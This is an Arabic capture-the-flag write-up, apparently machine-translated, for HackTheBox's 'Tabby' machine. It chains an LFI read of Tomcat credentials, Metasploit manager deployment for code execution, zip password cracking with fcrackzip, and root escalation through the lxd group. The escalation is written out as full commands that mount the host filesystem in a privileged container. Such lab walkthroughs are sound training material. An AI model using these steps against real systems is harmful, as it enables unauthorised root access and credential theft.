هاك ذا بوكس. تجول تابي. RCE إلى Tomcat ، ورفع الامتيازات عبر LXD



أستمر في نشر الحلول المرسلة لإنهاء الآلات من موقع HackTheBox .



في هذه المقالة ، دعنا نحصل على RCE في Tomcat ، ونكسر أرشيف zip ونرفع الامتيازات باستخدام LXD.



المعلومات التنظيمية
, , Telegram . , , .



. , - , .



ريكون



يحتوي هذا الجهاز على عنوان IP وهو 10.10.10.194 ، والذي أقوم بإضافته إلى / etc / hosts.



10.10.10.194 	tabby.htb


الخطوة الأولى هي فحص المنافذ المفتوحة. أفعل ذلك باستخدام النص التالي ، والذي يأخذ وسيطة واحدة - عنوان المضيف الذي يتم فحصه:



#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1






الاختيار صغير ، فلنبدأ بالمنفذ 80 ، حيث يلتقي بنا الموقع التالي.







بالنظر حول الموقع ، نلاحظ طريقة مثيرة للاهتمام لعرض الأخبار (مع تلميح من LFI).







وأضف أيضًا إدخالًا آخر إلى / etc / hosts.



10.10.10.194    megahosting.htb


دعنا نتحقق مما إذا كان LFI متاحًا أم لا ، فأنا استخدم LFISuite لذلك.















ونجد LFI. نظرًا لأننا لا نحصل على المزيد ، فلننتقل إلى المنفذ 8080. هناك يتم الترحيب بنا بصفحة علمنا أن Tomcat قيد الاستخدام.







نلفت انتباهك إلى ملف مثير للاهتمام. بالنقر فوق ارتباط آخر ، يتم الترحيب بك من خلال نافذة مصادقة HTTP. لنقرأ الملف المحدد /usr/share/tomcat9/etc/tomcat-users.xml.







وهناك بيانات اعتماد يمكننا من خلالها تسجيل الدخول. من هنا يمكننا الحصول على RCE باستخدام الوحدة tomcat_mgr_deploy.







دعنا نضبط المعلمات المطلوبة.







ونحصل على خطأ مسار الملف.



نقطة الدخول



بعد التجول قليلاً ، وصلنا عبر المساعدة التي تحتوي على دليل النص.











دعونا نظهر هذا المسار.







ونحصل على جلسة مترمتر. لإجراء الاستطلاع بسرعة ، دعنا نسقط نص LinPEAS على المضيف وننفذها.







من خلال تحليل الناتج بعناية ، نجد ملفًا مثيرًا للاهتمام.







المستعمل



قم بتنزيله وحاول فتحه. لكننا مطالبون بكلمة مرور.











دعنا نحاول تكرارها.



fcrackzip -D -p ../tools/rockyou.txt 16162020_backup.zip






ونجد كلمة المرور المحتملة. لا يوجد شيء مثير للاهتمام في الأرشيف نفسه ، ولكنه كلمة مرور من مستخدم تم إنشاؤه في النظام.







للحصول على اتصال ملائم ، دعنا ننشئ مفتاح SSH.







جذر



دعنا نتصل عبر SSH باستخدام مفتاح خاص ونرى أن المستخدم موجود في مجموعة lxd.







LXD هو مدير حاويات النظام. يقدم واجهة مستخدم مشابهة للأجهزة الافتراضية ، ولكن باستخدام حاويات Linux بدلاً من ذلك.



نواة LXD هي خدمة ذات امتياز تعرض REST APIs عبر مقبس يونكس المحلي ، وكذلك عبر الشبكة ، إذا تم تكوينها للقيام بذلك. يرسل العملاء ، مثل أداة سطر الأوامر المتوفرة مع LXD ، الطلبات من خلال واجهة برمجة تطبيقات REST هذه. هذا يعني أنه بغض النظر عما إذا كنت تقوم بالوصول إلى المضيف المحلي أو البعيد ، فإن كل شيء يعمل بنفس الطريقة.



لكن يمكننا تنفيذ الأوامر من خلاله ، أي كجذر. لهذا سنحتاج البرنامج التالي، قم بتنزيل وبناء المصادر. قم بتحميل الصورة الناتجة إلى المضيف البعيد. وبعد الجزء التحضيري ، نستورد ملف الصورة المتوافق مع lxd.



lxc image import ./alpine-v3.12-x86_64-20200810_0015.tar.gz --alias ralf






قيل لنا أنه يجب تهيئته أولاً ، لكن يمكن القيام بذلك لاحقًا. تأكد من تحميل الصورة.



lxc image list






الآن دعنا نبدأ.







لنقم بإنشاء حاوية مع صورة واسم.



lxc init ralf ignite -c security.privileged=true


وسنقوم بتعيين التكوينات حيث سيتم تركيب القرص كـ / mnt / root.



lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true


الإطلاق والتنفيذ.



lxc start ignite
lxc exec ignite /bin/sh






ولدينا حقوق الجذر.



يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ودورات مسربة وبرامج. دعنا نجمع مجتمعًا يكون فيه أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.



All Articles